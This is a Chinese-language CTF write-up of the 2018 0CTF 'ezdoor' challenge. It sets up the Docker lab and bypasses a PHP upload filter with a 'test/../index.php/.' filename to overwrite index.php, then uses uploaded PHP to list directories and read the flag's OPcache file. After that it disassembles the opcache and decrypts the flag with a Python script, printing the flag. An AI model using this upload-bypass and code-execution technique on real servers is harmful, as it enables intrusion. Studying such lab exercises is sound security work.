2018 0ctf ezdoor题目复现
写在前面
之前在做0ctf的时候就看了这一道php代码审计题目,当时没做出来,好在github上有源码,决定在服务器下搭建一下环境过一遍这道题,顺便学习学习有关php的一些知识。
环境搭建
我使用的是ubuntu系统,首先要安装docker,docker的安装大家可以自行百度。
启动docker
1
service docker start
将题目源码拉到本地,使用git clone命令
1
git clone https://github.com/LyleMi/My-CTF-Challenges.git
修改Dockerfile文件,在文件中添加一行,用来创建sandbox文件夹
1
RUN mkdir /var/www/html/sandbox/
进入到source文件夹创建镜像
1
docker build -t 0ctf-ezdoor .
启动环境,这里的8585端口可以设置为任意一个未被占用的端口
1
docker run -dit -p 8585:80 --name 0ctf-ezdoor 0ctf-ezdoor
之后访问http://ip:8585即可
源码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
error_reporting(0);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}
function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}首先会根据每个人的ip地址生成一个sandbox文件夹,并在sandbox文件夹下生成一个index.php文件。switch case下有很多方式,注意到case ‘upload’看到有文件上传,主要代码如下:
1
2
3
4
5if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);我们先来看preg_match中的正则表达式,在[ ]里以^开头,说明匹配的是^后面未包含的字符串,因此这个preg_match在这里并没有太大作用。不过正则表达式还是得好好看看,给大家分享一个学习正则的链接
http://tool.oschina.net/uploads/apidocs/jquery/regexp.html
后面的stristr(pathinfo)是用来判断以“.”隔断后的字符串中是否含有“h”字符,在这里pathinfo是以字符串中最后一个“.”来进行隔断。
例如
1
2
3
4
$name="index.php.exe";
echo(pathinfo($name)["extension"]);输出为exe,因此我们可以在upload处进行上传绕过
利用”/.”绕过上传检测
1
2
3
4
5
6
7$name = "index.php/.";
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
echo "success";
}
else
echo "false";此时输出为false,虽然现在我们可以绕过上传,但是无法进行覆盖。因此我们需要重新构造文件名实现上传覆盖。
利用”test/../index.php/.”上传覆盖
构造form表单
1
2
3
4<form action="http://192.168.1.188:8585/index.php?action=upload&name=test/../index.php/." method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" />
</form>本地构造index.php文件
1
2
3<?php
echo "666";
?>上传之后查看http://192.168.1.188/index.php?action=shell
看到页面输出“666”,发现成功覆盖
获取flag下文件,构造index.php
1
2
3
var_dump(scandir('/var/www/html/'));上传后查看http://192.168.1.188/index.php?action=shell
得到以下信息
获取flag下的文件
通过构造index.php
1
2
3
print_r(file_get_contents('/var/www/html/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228cad'))得到flag.php.ini,输出信息如下
因为OPcache文件是以”OPcache.”开头的,但是发现上面输出信息中opcache后缺少”.”,因此将上述信息保存为本地文件,并命名为flag.php.ini,利用winhex对文件进行修复
opcode反编译
工具链接
https://github.com/GoSecure/php7-opcache-override
安装库依赖
1
2
3pip install construct==2.8.22
pip install treelib
pip install termcolor反编译
1
./opcache_disassembler.py -c -a64 flag.php.bin
反编译后的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80function encrypt() {
#0 !0 = RECV(None, None);
#1 !0 = RECV(None, None);
#2 DO_FCALL_BY_NAME(None, 'mt_srand');
#3 SEND_VAL(1337, None);
#4 (129)?(None, None);
#5 ASSIGN(!0, '');
#6 (121)?(!0, None);
#7 ASSIGN(None, None);
#8 (121)?(!0, None);
#9 ASSIGN(None, None);
#10 ASSIGN(None, 0);
#11 JMP(->-24, None);
#12 DO_FCALL_BY_NAME(None, 'chr');
#13 DO_FCALL_BY_NAME(None, 'ord');
#14 FETCH_DIM_R(!0, None);
#15 (117)?(None, None);
#16 (129)?(None, None);
#17 DO_FCALL_BY_NAME(None, 'ord');
#18 MOD(None, None);
#19 FETCH_DIM_R(!0, None);
#20 (117)?(None, None);
#21 (129)?(None, None);
#22 BW_XOR(None, None);
#23 DO_FCALL_BY_NAME(None, 'mt_rand');
#24 SEND_VAL(0, None);
#25 SEND_VAL(255, None);
#26 (129)?(None, None);
#27 BW_XOR(None, None);
#28 SEND_VAL(None, None);
#29 (129)?(None, None);
#30 ASSIGN_CONCAT(!0, None);
#31 PRE_INC(None, None);
#32 IS_SMALLER(None, None);
#33 JMPNZ(None, ->134217662);
#34 DO_FCALL_BY_NAME(None, 'encode');
#35 (117)?(!0, None);
#36 (130)?(None, None);
#37 RETURN(None, None);
}
function encode() {
#0 RECV(None, None);
#1 ASSIGN(None, '');
#2 ASSIGN(None, 0);
#3 JMP(->-81, None);
#4 DO_FCALL_BY_NAME(None, 'dechex');
#5 DO_FCALL_BY_NAME(None, 'ord');
#6 FETCH_DIM_R(None, None);
#7 (117)?(None, None);
#8 (129)?(None, None);
#9 (117)?(None, None);
#10 (129)?(None, None);
#11 ASSIGN(None, None);
#12 (121)?(None, None);
#13 IS_EQUAL(None, 1);
#14 JMPZ(None, ->-94);
#15 CONCAT('0', None);
#16 ASSIGN_CONCAT(None, None);
#17 JMP(->-96, None);
#18 ASSIGN_CONCAT(None, None);
#19 PRE_INC(None, None);
#20 (121)?(None, None);
#21 IS_SMALLER(None, None);
#22 JMPNZ(None, ->134217612);
#23 RETURN(None, None);
}
#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);官方逆向后的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function encode($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}
function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < $data_length; $i++) {
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
return encode($cipher);
}
$flag = "input_your_flag_here";
if(encrypt("this_is_a_very_secret_key", $flag) === "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab") {
echo "Congratulation! You got it!";
} else {
echo "Wrong Answer";
}
exit();我们将代码分解开来进行分析,首先是encode()函数
1
2
3
4
5
6
7
8
9
10
11
12function encode($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}我们发现该函数是将$string的每一位转换为ASCII码后,再转换为十六进制,如果转换的十六进制位数是一位的话就在前面添0,然后将每一位的十六进制拼接起来。
我们再来看encrypt函数
1
2
3
4
5
6
7
8
9
10function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < $data_length; $i++) {
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
return encode($cipher);
}首先是一个随机数发生器种子,在这里pwd我们是已知的,因此长度也是已知量,data是我们要得到的flag,data的长度也是未知量,在for循环中我们看到有一条异或的语句
1
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
这句话其实是可逆的,因此得出
1
chr(ord($data[$i])= $cipher[$i] ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
由最后的if判断我们可以得到,加密后的密文长度为74位,因此我们根据encode()函数可以得出flag的长度是37位,因此我们的mt_rand()生成的随机数至少应该是37位,因此我们利用python编写解密脚本如下。
python版本:2.x
php版本:php7.2
1
2
3
4
5
6
7pwd="this_is_a_very_secret_key"
rand=[151,189,92,232,167,217,167,90,114,82,84,72,9,134,182,90,23,152,129,27,93,6,22,114,194,105,104,203,65,60,215,147,238,81,111,91,179,57,195]
sec="85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab".decode("hex")
flag=""
for i in range(37):
flag+=chr(rand[i]^ord(sec[i])^ord(pwd[i%len(pwd)]))
print flag得到flag
1
flag{0pc4che_b4ckd00r_is_4_g0o6_ide4}
资料
http://www.laruence.com/2008/06/18/221.html
http://drops.xmd5.com/static/drops/web-15450.html
http://wonderkun.cc/index.html/?p=626